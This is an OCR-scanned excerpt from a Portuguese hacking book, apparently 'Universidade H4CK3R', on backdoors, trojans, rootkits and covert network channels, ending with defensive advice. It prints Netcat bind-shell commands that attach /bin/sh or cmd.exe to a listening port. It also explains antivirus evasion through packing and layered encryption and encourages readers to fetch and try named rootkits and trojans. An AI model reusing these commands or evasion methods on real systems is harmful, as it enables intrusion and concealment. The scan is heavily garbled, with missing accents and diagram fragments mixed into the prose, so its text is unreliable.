A mquina do hacker fica esperando conexes. Quando uma acontece, ele envia o arquivo especificado. A conexo foi feita a partir da mquina da vtima. Ela originou a conexo e comea a receber dados, que so gravados em server.exe. Mas alm de plantar backdoors, vrus e trojans no sistema invadido, o Netcat pode ser, ele prprio, um backdoor! A opo -e redireciona tudo o que for recebido para um comando externo! fcil perceber que, redirecionando para cmd.exe no Windows ou para /bin/sh no Unix, o Netcat pode nos dar um shell, que ter os privilgios do usurio, em que o nc foi executado. O comando completo na mquina da vtima seria:
ne -1 -p 9999 -e /bin/sh
Ou, para sistemas Windows:
NC -1 -p 9999 -e emd.eom
Observe que a opo -e pode vir desabilitada por padro. Pode ser necessrio compilar o cdigo novamente com a opo GAPING_SECURITY _HOLE (o nome j diz tudo...) ou baixar um executvel j preparado para tal netcat.sourceforge.net uma grande pedida. H diversos outros usos para o Netcat, como, por exemplo, redirecionamento de conexes. til para furar flfewalls ou para criar um encadeamento (daisy chain ou tunneling mode) entre vrios computadores na Internet para fins de spoofing. Do mesmo modo que no encadeamento de proxies pblicos, podemos usar o Netcat para montar uma rede de proxies privativos - 15 ou 20 na mesma linha e com rotas alternativas so aparatos comuns de hackers experientes! Outro uso muito interessante do Netcat como portscanner improvisado. Esses e muitos outros destinos podem ser encontrados no excelente white paper de Tom Armstrong intitulado "Netcat - o canivete suo do TCP/IP" (www.giac.org/ practical/gseclTom Armstrong GSEC.pdf - em ingls). Uma alternativa de respeito ao Netcat o CryptCat (www.farm9.com/content/Free Tools/CryptCat). um done perfeito do Netcat, com a mesma funcionalidade e sintaxe. Mas possui um diferencial interessante: toda a comunicao criptografada. Mesmo que a conexo seja descoberta, nunca sabero o que se passa nela. O Netcat , seguramente, a ferramenta Unix nativa (e muito instalada em Windows tambm) mais usada como auxiliar por invasores em sistemas alheios. Por ser minscula, facilmente instalada em sistemas que no a possuem. Mas o Netcat no o nico meio de improvisar backdoors. Fique atento a quaisquer programas que possam dar acesso a sistemas de arquivos. O interpretador PerI um deles: com poucas linhas de cdigo possvel montar um servidor como o Netcat em modo -1e enviar arquivos por ele, por exemplo.
1318 1
Universidade
3 ano
]Ataque,
defesa
e contra-ataque:
Manuteno
I Universidade
H4CK3R I
so do virus vai aparecer durante a comunicao, e o comando netstat vai revelar apenas uma simples conexo Internet de seu prprio browser. Agora responda: que fIrewall vai barrar comunicaes H1TP ou SMTP originadas no lado de dentro de sua rede? O leitor poderia ainda protestar: "mas meu antivirus est atualizadssimo, como pegaria vrus novos"? A resposta simples: um programa desses detecta apenas vrus conhecidos. Um simples editor hexadecimal pode alterar detalhes do vrus e torn-Io, novamente, indetectado por um tempo. At que as empresas que ganham dinheiro com esse tipo de pnico corram para atualizar seus bancos de dados e at que as pessoas atualizem seus antivrus, o estrago est feito. Numa estimativa muito tosca, os autores consideram que mais de 90% dos vrus que efetivamente esto solta pelo mundo no so detectados por nenhum dos programas antivrus existentes no mercado. Por exemplo, uma das maneiras j bem antigas de confundir um antivrus comprimir o arquivo executvel do mesmo e adicionar um stub (pequeno programa no incio do arquivo compactado) que o descomprima na hora da execuo. Foi uma maneira inteligente de, durante muito tempo, fazer viroses passarem inclumes pelo corredor polons imposto pelas rotinas dos antivrus. J h tcnicas modernas de ofuscamento, entretanto, que colocam diversas camadas de desafIos comprimidos e criptografados, com diversos stubs diferentes e chaves de criptografta distribudas pelo arquivo. Cada vez que executado, o antivrus replica-se e se autocriptografa novamente com outras chaves cujos pedaos sero gravados em locais diferentes dentro do arquivo. Um antivirus, para conseguir simplesmente ler o contedo executvel do vrus, ter de descascar vrias camadas dessa cebola, descobrir vrias chaves criptogrftcas embaralhadas no meio dos dados do arquivo e ainda saber quais tipos de compresso foram usados em cada camada (sim, possvel usar tipos diferentes de compresso). O que nos leva ao problema principal: depois de encontrado um vrus desse tipo, sero necessrios vrios dias ou mesmo semanas para quebr-Io. Isso, bvio, ocorrer apenas se o antivrus conseguir determinar se aquilo um vrus, coisa muito difcil de acontecer. Para mais informaes sobre essas tcnicas de ofuscamento, pesquise na Internet sobre o DaVinci Group, um cl hacker fechado e que, ao que parece, o nico detentor dessa tecnologia; embora seja baseada em outras mais antigas que j esto rodando por a faz muito tempo. uma simples questo de vontade. Quando "cair a fIcha" dos crackers produtores de vrus para a tcnica, a computao como a conhecemos hoje entrar em colapso.
Universidade 3 ano
imagem. Por definio,os cavalos de tria so apenas expedientes utilizadospara fazer a vtima acreditar que o arquivo em questo trata-sede algo inofensivo ou mesmo um presente - embora guarde algo danoso em suas entranhas. Cavalos de tria guardam e transportam qualquer coisa - pode ser um backdoor (o mais usual), mas tambm pode ser um vrus, um programa inocente ou mesmo outro trojan mais poderoso. Do casamento entre trojans e backdoors, entretanto, que saem as maiores dores de cabea dos administradores de sistemas e usurios domsticos... Chamados de RATs (Remote Administration Trojans), podem tomar o controle total do computador da vtima. H milhares de RATsdisponveis ou em desenvolvimento na Internet, especialmente para Windows. So, em sua maioria, desenvolvidos por kiddies ou programadores pouco mais que isso, normalmente em Visual Basic ou Delphi. So realmente brinquedos: embora os usurios comuns sempre caiam nas armadinlhas deles. Verifique em areyoufearless.com. www.evileyesoftware.com ou troianforge.net (entre outros) e veja voc mesm02. Trojans tradicionais como o B02K e assemelhados possuem muitas limitaes. So aplicaes e, portanto, rodam em User Mode. Enquanto no Windows isso no problema para o invasor, pois o prprio kernel roda partes de seu cdigo nesse modo, trojans carregando backdoors no funcionariam bem em outras plataformas. Em Unices, por exemplo, bem provvel que os usurios sequer tenham permisso de rodar programas a partir de seus diretrios pessoais. H um outro problema com os trojans tradicionais: como so aplicativos estranhos ao sistema, so facilmente detectveis. Mesmo escondendo-se com nomes insuspeitos entre os arquivos da pasta C\ WINDOWS, ferramentas de auditoria podem perfeitamente encontr-Ios. Para combater esse tipo de problema, a seleo natural criou uma especializao na fauna trojnica: a substituio de programas do sistema por outros especialmente alterados. Chamados de rootkits, tais programas alteram o funcionamento real de utilitrios de uso freqente, como o Ibin/login em computadores Unix ou o EXPLORER.EXE em mquinas Windows - Finder no Mac OS, pconsole no Novel1Netware, etc, etc, etc..-. Os rootkits mais comuns fazem, basicamente, quatro coisas: a) abrir um backdoor permanente ou ativado por um cdigo, b) mentir sobre o estado do sistema, c) apagar ou destruir alguma coisa, d) descobrir senhas e informaes sigilosas. A grande maldade de um rootkit , ento, embutir uma ou mais dessas quatro fimes em programas existentes. Por exemplo, o j citado Ibin/login em sistemas Unix. H rootkits que do acesso irrestrito ao sistema caso uma senha pr-programada seja informada. Por exemplo, em um sistema Solaris, a senha do usurio root @#S2L9*&. uma boa senha, dificilde quebrar ou adivinhar.Entretanto, se o progra2. Alis, uma boa idia interromper (novamente) a leitura do livro e brincar longamente com todos esses trojans e com as informaes e tutoriais presentes nesses sites. Leia os fruns; h threads interessantissimas e esclarecedoras.
1321I
]Ataque,
defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R
ma /bin/login for substitudo por um rootkit especialmente preparado, qualquer usurio com a senha especial (que pode ser configurada, por exemplo, para "xuxubeleza") ganha acesso de root na mquina. Um outro tipo de rootkit conhecido que tambm afeta o /bin/login um simples keylogger: guarda em um arquivo as senhas de todos os usurios que se conectam no sistema. Sujo,no acha? Um rootkit que afete o Windows Explorer, por outro lado, pode esconder completamente uma pasta que contenha diversos arquivos pertencentes ao invasor. Mesmo que a visualizao de arquivos ocultos esteja ligada, esse diretrio continuar escondido - o rootkit tratar de deix-lo longe dos olhos do usurio. E no gerenciador de tarefas do Windows veremos, simplesmente, uma instncia do Explorer. H rootkits diversos que escondem o estado da rede, conexes, sistema de arquivos e processos sendo rodados, entre outras coisas. Por exemplo, o ifconfig no Linux poderia mentir sobre o modo promscuo, escondendo o funcionamento de um sniffer. O TASKMAN.EXE(Gerenciador de Tarefas) do Windows poderia esconder processos e servios de trojans, vrus e scanners. Outros tipos de rootkits podem ecoar as comunicaes para o hacker ou dar acesso contornando a senha do administrador - por exemplo, em servidores SSH,Telnet ou IIS modificados. A seguir, fornecemos uma lista (bastante incompleta) de comandos e programas que podem ser substitudos por rootkits. Existem vrios rootkits para cada um desses programas, portanto sugiro que o leitor, ao tomar contato com algo novo, experimente em seu sistema de testes. Para Unix, os programas mais visados por desenvolvedores de rootkits so: login, ifconfig (no Linux), du, df, pwd, su, sudo, netstat, nc (sim, o prprio Netcat pode estar adulterado!), ps, find, slocate, updatedb. Os utilitrios de configurao no escapam ilesos a rootkits: SAM no HP-UX,Admintool no Solaris, Smit noAIX, Linuxconf,Webmin... Mesmo comandos internos de alguns shells - como ls e cd no Bash - podem ser mascarados com wrappers que escondam arquivos ou mintam sobre seus tamanhos. Uma malvadeza maior instalar verses rootkit dos shells disponveis (Bash, csh, ksh, etc) ou de servidores como Apache e mesmo inetd/xinetd para abrir backdoors "sob demanda". Para Windows a lista parecida. O prprio cmd.com pode ser alterado para mascarar aes maliciosas em funes internas como o DIR e o CD.Adicionalmente, muitos dos arquivos do Windows, como os j citados EXPLORER.EXE e TASKMAN.EXE, podem ser "torcidos". Cuidado ainda com alguns utilitrios freqentemente usados, como a Calculadora (CALC.EXE), o Bloco de Notas (NOTEPAD.EXE), o WordPad (WRITE.EXE) e o Editor de Registro (REGEDIT.EXE). Todos esses programas esto presentes em qualquer verso do Windows, mesmo em servidores, e podem ser manipulados para funcionar como rootkits. Ateno especial deve ser dada tambm s DLLs compartilhadas por muitos aplicativos, especialmente o MFC.DLL. 13221
Ataque, defesa e contra-ataque: Manuteno
Universidade 3 ano
A lista muito mais vasta do que a que mostramos. No caberia aqui elencar todos os tipos e todos os programas que podem ser alterados por rootkits. Como sugesto, em Unix pesquise sobre lkr5, utrojan, backdoored sendmail, tOrnkit, rkssh, APSR, bdoor, wOOwOO, IOgin.kit, bd2, vexed, falcon-ssh, Trojanit, rootkitSunOS, sol, e Raditz (malvado: substitui o Tripwire!), entre outros. Esse tipo de rootkit (substituio de programas e utilitrios do sistema) mais comum em ambientes Unix do que em Windows, embora haja tambm inmeras ferramentas para o sistema da Microsoft. Para comear, procure por ads_cat, FakeGINA, fu.ZIp, Xshadow, Hacker Defender, Hacker's Rootkit for NT, Slanret, Krei, IERK (ierk8243.sys), Backdoor-ALI, Caesar's RegWrite Injector, null.sys, HE4Root (ou HE4Hook) e IIS injection. Para saber mais sobre esses rootkits e novas tcnicas sobre o tema, procure por informaes em www.packetstormsecurity.nl , no www.securityfocus.com, no www.windowsecurity.com, no site oficial da Microsoft (www.micro soft.com) e, principalmente, no Google ;-).
There is no spoon
Rootkits no so to fceis de identificar como os cavalos de tria e backdoors comuns. Um Back Orifice ou um Netcat escutando em uma porta podem ser facilmente descobertos com um simples netstat. Mas se o netstat estiver rootldtted, a coisa muda de figura - a informao sobre as portas abertas do backdoor estariam cobertas. O mesmo ocorre com os processos: um EXPLORER.EXE modificado ainda assim aparece apenas como Windows Explorer no Gerenciador de Tarefas. Entretanto, apesar de mais elaborados, rootkits comuns que alteram a funcionalidade de programas ordinrios do sistema operacional podem ser detectados por caractersticas no bvias, mas, mesmo assim, aparentes. O programa alterado pode ter sua data de criao diferente das demais. Mesmo que seja igual, o tamanho pode ser diferente do original, verificado em outras mquinas. Se o tamanho for igual, seguramente sua estrutura interna no o , e pode ser comparado byte a byte com a de um sistema so. Outra alternativa verificar o checksum dos arquivos que compem o programa. Sistemas Unix normalmente utilizam-se de uma assinatura MD5 para garantir a idoneidade dos arquivos. Em sistemas Windows, a Microsoft adota um procedimento semelhante, baseado em esteganografia aplicada ao logotipo do Windows. Em qualquer dos casos, se a assinatura no bater com a original, o programa seguramente est adulterado e precisa ser apagado ou substitudo. Administradores realmente paranicos (e eles no esto errados, longe disso!) instalam controladores de inventrio com verificadores de integridade de arquivos (como por exemplo, o Tripwire ou o AIDE) em todos os seus computadores (inclusive estaes de trabalho). Qualquer arquivo que seja alterado por um rootkit ser detectado na prxima verificao e uma mensagem de
1323 I
I
Manuteno
I Universidade
H4CK3R I
alerta vermelho surgir na tela do administrador. Para fugir deste cenrio, os hackers criaram uma modalidade de rootkits com um nvel mais elevado de camuflagem. Desta vez, os arquivos e programas de sistema ficam intactos: o prprio kernel do sistema operacional substitudo por outro completamente adulterado. Uma dualidade parecida com a do Super-Homem e seu antiego, o Bizarro (ahhh, bons tempos em que passava as manhs vendo os Superamigos...). J falamos sobre kernel em vrios captulos e mesmo nos apndices. Todo o processamento do sistema obrigatoriamente passa por ele e, portanto, control-Io como em uma possesso demonaca algo extremamente poderoso e destrutivo. Entre as iniqidades que podemos praticar a partir de nossa possesso esto: ~ Camuflagem de arquivos do invasor, exatamente como nos rootkits comuns.A diferena que, sendo pelo keme1, tal artifcio praticamente impossvel de ser contornado ou mesmo descoberto. ~ Camuflagem de conexes de rede. Da mesma forma como fizemos, em Unix e em Wmdows, com uma verso alterada do comando netstat, um kernel rootkitted pode tambm esconder conexes especficas. Apenas sniffers rodando em outras mquinas so capazes de detectar tais conexes. ~ Camuflagem de processos. O kemel gerencia os processos. O prprio keme1, ento, que d a lista deles para os programas que os listam (ps no Unix, Gerenciador de Tarems no Wmdows). Com isso, fica fcil esconder desses programas (e, portanto, dos usurios) os processos nocivos que estejam rodando. ~ Redirecionamento. Imagine o seguinte cenrio: um invasor "plantou" programas nocivos na pasta C:\WINDOWS\SYSTEM32\ em um sistema Windows NT 4. O rootkit no kernel trata de esconder esses programas enquanto mostra normalmente todos os outros arquivos da mesma pasta. Um desses arquivos uma cpia modificada do Windows Explorer (EXPLORER.EXE). Cada vez que o Windows solicita a execuo de uma nova instncia do Explorer, em vez de abrir o programa original, o kerne1 vai redirecionar a execuo para o Explorer modificado. Qualquer ferramenta de auditoria ir testar a integridade do EXPLORER.EXE original (armazenado na pasta C:\WINDOWS)e o encontrar intocado. Usando essas quatro traquinagens, o programador que desenvolveu o rootkit pode criar duas realidades para o administrador de usurios. Uma, bela e sem problemas, completamente falsa.A outra, cheia de furos de segurana, portas de trs e manipulao indevida de documentos e arquivos, a real. Cabe ao administrador decidir se continua vivendo feliz em sua redoma virtual ou se ingere o comprimido vermelho. Alterar um kernel por meio de rootkits fcil e pode ser feito de duas maneiras. A primeira por meio de patches, e a preferida por hackers que desenvolvem para Wmdows. Funcionando da mesma maneira que os Hotfixes e Service Packs da prpria Microsoft, um patch para inserir um rootkit sobrescreve arquivos inteiros ou parte deles, injetando novas rotinas e desvios e fazendo-os respon13241
Ataque, defesa e contra-ataque: Manuteno
Universidade 3 ano
der diferentemente do originalmente previsto. Como o kernel do Windows composto por algumas dezenas de DLLs acessveis pelos usurios, a tarefa, apesar de trabalhosa, simples e s vezes sequer necessita ser executada por um usurio com muitos privilgios sobre o sistema. Como toda instalao em um sistema Windows, aps a aplicao do patch o sistema deve ser reiniciado - mas isso pode ser feito pelo prpro invasor e em mais de 90% dos casos tal anomalia ser considerada pelo administrador da mquina como "apenas mais um pau no Windows". A outra maneira, mais apreciada pelos amantes do Unix, funciona por meio de Mdulos Carregveis do Kernel (Loadable Kernel Modules ou LKM). Se o leitor no pulou os importantes captulos sobre sistemas operacionais, deve lembrar-se de que, ao contrrio do microkernel do Windows, os Unix em geral so monolticos. Um nico mamutesco e por vezes criptografado arquivo en-. globa o ncleo central e a maioria dos drivers de dispositivo do sistema. medida que os sistemas Unix iam evoluindo, percebeu-se que a poltica de kernels monolticos deveria ser "flexibilizada", caso contrrio teramos sistemas cujo ncleo residiria num arquivo de dezenas ou mesmo centenas de megabytes contendo milhares de drivers para hardware que nunca vamos adquirir. Por isso, os kernels passaram a ser modulares: um ncleo base (longe de ser um microkernel) seria carregado primeiro, e os demais drivers apenas seriam carregados se o hardware fosse solicitado. Esses drivers (e alguns programas e utilitrios que rodam em modo kernel) residem em LKMs. fcil notar que possvel alterar o comportamento do kernel com mdulos carregados muito depois do boot. Um LKM pode inclusive ser carregado sob demanda, automaticamente ou a partir de um comando emitido remotamente pelo invasor atravs de um backdoor comum. Pesquise sobre os LKM rootkits de seu sistema operacional e, preferencialmente teste todos os que encontrar (em nossa rede de testes e no em ambiente de produo!!!). Relacionamos alguns mais famosos (ou informaes para entender LKMs nas diversas plataformas), mas intencionalmente no colocamos os mais recentes para acostum-Io a procurar. Para Windows (9x e NT): www.rootkit.com (passagem obrigatria). Para Linux: Adore, Carogna (prOgeto CarOnte), Knark, phide, heroine.c, spooflkm, suidshow.c, kinsmod, Rial, THC Backdoor (lkm), kernel.keylogger, SucKlT, 1kminject; Para Solaris: Plasmoid, slkm, ksolaris, THC Backdoor (1km); Para FreeBSD:AdoreBSD, ipfhack, lbk, THC Backdoor (lkm); Para OpenBSD: AdoreBSD, obsd_ipfhack, THC Backdoor (lkm); Para Windows 9x (veja s!): Burning Chome. Como ltima dica, leia estes white papers: ~ www.wOOwOO.org/files/articles/lkmhack.txt; ~ packetstormsecurity.nl/docs/hack!LKM HACKlNG.html; ~ packetstormsecurity.nl/Win/vxd. txt.
1325
I
Manuteno
I Universidade
H4CK3R
Tudo isso muito bom, tudo isso muito bonito, mas qualquer servidor - seja ele HTTP,SMTP,Finger ou mesmo um backdoor embutido no kernel - precisa de sockets para se conectar. Como vimos, um socket , grosso modo, um trio IP/Porta/Protocolo. Portanto, para me conectar a um servio qualquer (um servidor SSH,por exemplo), tenho de criar uma conexo entre o meu cliente SSH e a porta 22 daquele servidor. Com backdoors a mesma coisa: se eu improvisei um servidor com Netcat "escutando" na porta 9999, preciso me conectar a essa porta (e manter a conexo) para interagir com ele. Isso quer dizer que mesmo em sistemas comprometidos por rootkits possvel descobrir falcatruas desse tipo. Basta rodar um sniffer como o Ethereal em outro computador da rede (a estao de trabalho do administrador, por exemplo) e todas as conexes esprias podem ser detectadas, certo? Detesto dizer isso, mas novamente a resposta no. H pelo menos uma maneiras conhecida3 de esconder o trfego e no precisar de conexo para trocar pacotes, que combina sniffing e spoofing com a manipulao da pilha TCP/IP.
Ouvidos moucos
Firewalls e antivirus so as estrelas do momento no tocante segurana de redes e computadores. Coloca-semuita f em ambos os dispositivos e, num comportamento normal em sereshumanos, relaxa-senos demais aspectos de segurana. No estamos dizendo que sejam despesas inteis, pelo contrrio: ftrewalls e antiv1fUsmantm longe de seus sistemas um nmero asustador (muitos milhes) de script-kiddies.Mas entre centenas de milhares de kiddies h de haver um hacker de verdade. Na verdade, nenhum ftrewall - seja ele por software ou personificado em um
hardware dedicado
caso um hacker desses apresente-se para o confronto com sua rede ou seus servidores. Pense um pouco: seu ftrewall tem de, obrigatoriamente, deixar passar os protocolos e servios que os usurios usam. Se os seus usurios so autorizados a usar programas de Instant Messenger (ICQ, por exemplo), as portas do ICQ devem estar liberadas para trfego sainte e entrante. Se os seus usurios usam a World Wide Web, trfego HTTP sainte pela porta 80 e entrante por portas altas deve, tambm, ser liberado. S no cenrio acima, vemos que as portas 25 e 80 sempre estaro l, abertas para quem quiser usar.Inclusive para o hacker que, usando todos os truques que vimos em Vulnerabilidades e nestes captulos finais,pode pesquisar toda a sua rede interna e explorar vulnerabilidades conhecidas usando apenas a porta 80. Como se diz comumente em crculos crackers, "a porta 80 sempre estar l"... E o que o carssimo ftrewall pode fazer a respeito, eu pergunto? Talvez registrar todos os pacotes que passarem por ele, para futura anlise - se muito.
3. Lembre-se: h mais tcnicas em poder de cls hacker e mantidas em segredo do que as maneiras divulgadas de se fazer a coisa. Espere e fique atento para novidades na rea em breve!
3261
Ataque, defesae contra-ataque: Manuteno [
Universidade 3 ano
II
Barramento da Rede
P~rtas
naousadas - -- - -- -- - -- - -,
: BackdoorcomSniffer :
, ,
Servidorde e-mail
Ir+::=
11-
ServidordeWEB
:Host comTraian"Promieuo"
I iI ~
Um trojan ou backdoor e o software cliente rodando no computador do invasor podem comunicar-se com ou por meio de trfego esprio. O hacker envia pacotes TCP ou UDP a computadores no existentes na rede, mas dentro da faixa de IPs aprovada pelo ftrewall. Como no endereada a ningum, a mensagem morre dentro da rede e no se fala mais no assunto. S que o computador com o backdoor socketless, farejando tudo indiscriminadamente, capturou o pacote sem destino e o processou. Simples como roubar doce de criana.
Gateway
,, -- -- ---, '
u ,
, ,
, I 'BACKDDDR I , I
, I '- - - - - - - - -'
Host com Trajan"Pramicuo"
, ,
Para o caminho inverso, o backdoor utiliza-se de programas j existentes no computador e que j fazem, pela prpria natureza, conexes por sockets. Um browser o melhor exemplo. O Z Usurio abre seu Internet Explorer e digita www.pornoshow.com.ru. O backdoor detecta a conexo e injeta, no meio do trem de dados, um ou dois bytes por pacote em reas nas quais no vo causar problemas (o enchimento, por exemplo, ou o fragment offset quando este no 13271
IAtaque,
defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R I
Atualizando a camuflagem
Um sniffer em modo promscuo, entretanto, ruidoso numa rede e pode ser facilmente detectvel com ferramentas especiais. Mas nada impede que um sniffer seja executado em modo exclusivo, farejando apenas o trfego que entra e sai. Nesse caso, o hacker no envia para a rede pacotes com IPs inexistentes, mas sim direcionados exatamente para a mquina onde est o backdoor. Mas com um detalhe: direcionados a portas que no estejam em uso. Em um computador normal, a pilha TCP/lP simplesmente ignoraria os dados que chegam a portas Portas ~ Barramento inexistentes ou desada Rede tivadas. Mas em nosso Portas caso, o backdoor est escutando tudo o que , BACKDOOR } L +-' chega em todas elas. So , '- - - -- -- - - - - -' virtualmente 65 mil I portas TCP e outras 65 Pacote destinado nicamente mil UDP que o ao Host Trojanizado, com backdoor ou trojan fragmento de comando para o BACKDOORe escolhendo r aleatoriamente uma Porta pode usar para escutar 8 HostcomTroJan "N'o.Promicuo" o que chega, mesmo As conexes nao que a conexo no seja sao estabelecidas! (sem SYNIACK) estabelecida.
- --
- _n:~ U_S:das
Muitos diriam que isso impossvel, que existe a obrigatoriedade de estabelecer um socket para recolher dados de uma porta. Ledo engando. Os sniffers comuns (mesmo os mais simples) esto a para provar que se pode escutar trfego mesmo que no seja direcionado ao seu MAC!!!Se no h necessidade de conexo no protocolo Ethemet, possvel recolher qualquer dado de qualquer porta sem que seja necessrio conectar sockets a elas. Essa tcnica chamada de Layer-O Listening. Como veremos mais adiante, possvel colocar uma camada adicional entre quaisquer duas camadas da pilha OSI (ou TCP/IP,na prtica) e manipular dados l. Essa camada pode, inclusive, ficar nas camadas de mais baixo nvel, ou mesmo entre a pilha e a interface de rede tlsica (da o nome Layer-O, uma vez que a camada tlsica a l).As ferramentas que normalmente usamos para detectar, monitorar e barrar conexes e V1rtlS - netstat, nbtstat, firewallse antiv1rtls locaisetc, etc, etc. esto posicionados antes da pilha TCP/lP (ou seja, a pilha fica sempre entre a
3281
Ataque, defesa e contra-ataque: Manuteno r
Universidade 3 ano
ferramenta e a rede). Qualquer manipulao ou insero que faamos no fluxo de dados poder ser retirada antes de chegar s ferramentas em questo. Portanto, para que o backdoor que use tcnicas de Layer-Opossa escutar a rede, pelo menos um dos trs requisitos abaixo deve ser preenchido: ~ Os pacotes so endereados ao MACda interfacede rede do computador invadido ~ A mensagem um broadcast, ~ A conexo ponto-a-ponto, como por exemplo em conexes discadas via modem, ISDN/RDSI ou xDSL com pppoe. A partir desses pr-requisitos, possvel interagir com o backdoor/trojan usando os seguintes expedientes: ~ Broadcasts em seqncia; ~ Pacotes ICMP em seqncia (ping, Destination Unreachable e Traceroute); ~ Pacotes enviados a qualquer porta do equipamento - aberta ou no; ~ Pacotes rejeitados pela pilha TCP/IP por serem malformados ou encapsulados de forma equivocada (note que eles tm de ser perfeitos nas camadas 2 e 3 para serem roteveis, o que nos deixa apenas a camada 4...). Os pacotes so rejeitados pela pilha TCP/lP mas no pelo trojan. Essas coisas so possveis de fazer em praticamente 100% dos casos, nas redes modernas baseadas em Ethernet (ou PPP/SUP) e TCP/lP. Estima-se que pelo menos um aplicativo bem conhecido se utilize dessas tcnicas: o to falado Magic Lantern/Carnivore, do governo dos Estados Unidos, usado para monitorar o trfego na Internet procura de terroristas, pedftlos e hackers de planto.
13291
]Ataque,
defesa e contra-ataque:
Manuteno
I Universidade H4CK3R I
Uma simples DLL que exporte uma SPI (Service Provi der Interface) tanto para as camadas superiores (TCP ou mesmo de aplicao) quanto para as de mais u --u -- - -- - - -- - -- -, Extra baixo nvel (a camada IP Ethernet ou PPp,por exem---:c Retira -. -~AC~DDD_R pIo) pode intermediar a cocomandos --e Ethernet devolve pacote TCP "Limpo" municao e "pular" o stack TCP/IP. Essa DLL poderia usar parasiticamente portas Rede de comunicao - ou seja, aproveit-Ias estando elas em uso ou no, e no conectar sockets caso no estejam - e tambm gerar portas-fantasmas que no so mostradas em ferramentas como o Netstat ou o Ethereal. Ou, pelo contrrio: essas portas-fantasmas poderiam estar mostrando trfego falso, mas "benigno", confundindo o administrador de que est tudo bem. Ou mais malvado ainda: apresentar para os aplicativos trfego de rede como sendo local (inter-processos) e desviar trfego local originado por aplicativos para a rede e no para os processos a que se destinam. No caminho contrrio, a DLLpoderia injetar a comunicao de resposta ao hacker no fluxo de dados de um aplicativo existente, reconhecido e autorizado - seu browser padro, por exemplo, ou aquele programinha de mensagens instantneas. Mas h uma maneira mais ultrajante ainda - e mais eficiente. At agora no havamos chegado a uma implementao Layer-O ver,muuuum, dadeira. Mas transcenden-
.L~~~~~~~~-j do o TCPIIP,pode-se "plantar" a DLLem uma camada o mais baixo possvel na pilha de rede - abaixo at ~ Rede , (ou imediatamente antes, dependendo do caso) do Ethernet, do PPP/SLIP ou mesmo de coisas mais especficas como Frame Relay ou X.25. Uma conexo dessas nunca ser mostrada em qualquer sniffer ou pelo netstat, nunca ser detectada pelo firewall local baseado em software (ZoneAlarm, BlackIce etc...) e provavelmente passar pelo firewall/gateway externo pois usar conexes vlidas como "laranjas". Qualquer auditoria no registro de pacotes (voc costuma ler regularmente os logs do seu firewall, no mesmo?) mostrar apenas pacotes originados pelos aplicativos comuns - seu browser, cliente de e-mail, MSN Messenger...
330 I
Ataque, defesa e contra-ataque: Manuteno
Universidade 3 ano
Para a pilha TCPIIP, o backdoor/ trojan est do lado de fora do computador invadido, portanto a pilha no o consegue ver e, portanto, os software Inrface / Aplicativo TCP firewalls no conseguem detectar. Por IP outro lado, ainda um programa roEthernet , dando no computador, possivelmente ; BACKDOOR : Extra ~, ~-------------- , em kemel mode e, com acesso (por coDriver da Placa municao interprocessos) a qualquer outro programa da mquina. Isso faz com que literalmente todas as portas do seu sistema estejam ao servio do backdoor/ trojan, e qualquer registro do firewall vai mostrar conexes legtimas de rede. Mais ainda - possvel interceptar qualquer chamada a qualquer API (do kemel ou de programas) e acessos a disco e illtr-Ios, remape-Ios ou retomar uma mentira. possvel inclusive enganar IDSscom a tcnica. Nojento e eficaz! Pesquise sobre o modelo de referncia OSI, no MSDN (msdn.microsoft.com) e no TechNet (www.microsoft.com/technet) para saber mais sobre VxDs e sobre a estrutura LSP/NPI/TPI/SPI da pilha de rede Microsoft. Obviamente, para entender o que est nesses recursos so necessrios conhecimentos moderados de programao de baixo nvel - nada de Delphi ou Visual Basic - na plataforma Windows, especialmente se tiver acesso a uma assinatura do DLL Developer Kit (DDK) ou do Software Development Kit (SDK). Para qualquer outra plataforma (Unix, VAX/VMS,Novell, AS/400, Macintosh, IBM S/390...), o raciocnio e as tcnicas so exatamente as mesmas.
Defesa e Contra-ataque
Defender-se das ameaas mostradas neste captulo no muito fcil. H trojans que, mesmo sendo facilmente detectveis, so extremamente difceis ou mesmo impossveis de serem removidos. Na experincia dos autores, houve pelo menos duas situaes (um Wmdows 98 SEe um Wmdows 2000) em que nem a recuperao da imagem original de instalao, distribuda nos CDs que vieram junto com o computador, removeu o trojan. Houve a necessidade de refazer as parties (apagamento e criao) e formatar o disco rgido, alm de usar uma ferramenta de apagamento total para remover quaisquer traos do software malicioso. Em alguns casos, possvel monitorar as conexes e, uma vez detectada a presena do invasor, rastre-Ias at se chegar ao culpado. No hesite em contar com a polcia e com um bom time de advogados caso alguma ao do hacker malicioso possa ser enquadrada como crime.
1331 I
IAtaque,
defesa e contra-ataque:
Manute~
I Universidade
H4CK3R I
Antes de mais nada (ou, como diria um companheiro de software livre, em "zerzimo" lugar), eduque-se e eduque seus funcionrios ou familiares quanto a prticas seguras de utilizao de recursos de informtica e navegao na Internet. Isso inclui os famosos bordes que as mames nos disseram a vida toda (e dizem at morrer): no aceite balinha de estranhos e no aceite balinhas estranhas de pessoas conhecidas. Cuidado com as drogas (Le. Coisas que voc sabe que so perigosas) e muito cuidado quando andar em locais ermos, pouco iluminados ou suspeitos. So conselhos sbios tambm para a Internet e para as redes corporativas. , mame tinha razo... bvio que o usurio comum no tem como saber se algum programa nocivo ou foi adulterado, ou se aquele site contm cdigo malicioso, ou se o documento interno da empresa (e, portanto, oficial e autorizado) em formato .DOC contm algum vrus de macro... Mas um pouco de cuidado e alguma parania pode livrar macaco velho de vrias cumbucas. Quanto aos cuidados puramente tecnolgicos que podem ser implementados, em primeiro lugar tenha sempre antivrus e firewalls locais (baseados em software) atualizados. Sim, eu seu, l atrs eu disse que, caso o atacante (ou o vrus) fosse realmente bom, essas ferramentas no iriam servir para nada. Entretanto, seremos "visitados" muito mais por moleques tentando brincar de "r4qu3r" do que por bandidos digitais com algum profissionalismo. Portanto, firewalls locais como o Zone Alarm, BlackIce ou o Tiny Firewall ajudam muito a manter a legio de kiddies longe de seus computadores. Ao mesmo tempo, um bom firewall de rack (como o Cisco PIX) ou implementado com um Unix (velhos 386 com Linux ou OpenBSD do excelentes firewalls), com regras de filtragem e, de preferncia, com conexes via proxy, tambm ajuda a barrar os lammers. Sugerimos implementar, seja em casa ou em uma rede corporativa, ambos os tipos de firewall: local (por software) e no ponto de conexo (por hardware). Da mesma forma o, antivrus devem ser usados para barrar os vrus conhecidos. Mesmo que os antivrus no detenham uma pequena parte dos virus conhecidos e praticamente todos os desconhecidos, seu uso obrigatrio. No porque est gripado e no h remdio para isso que voc ir deixar de tomar um analgsico para a dor 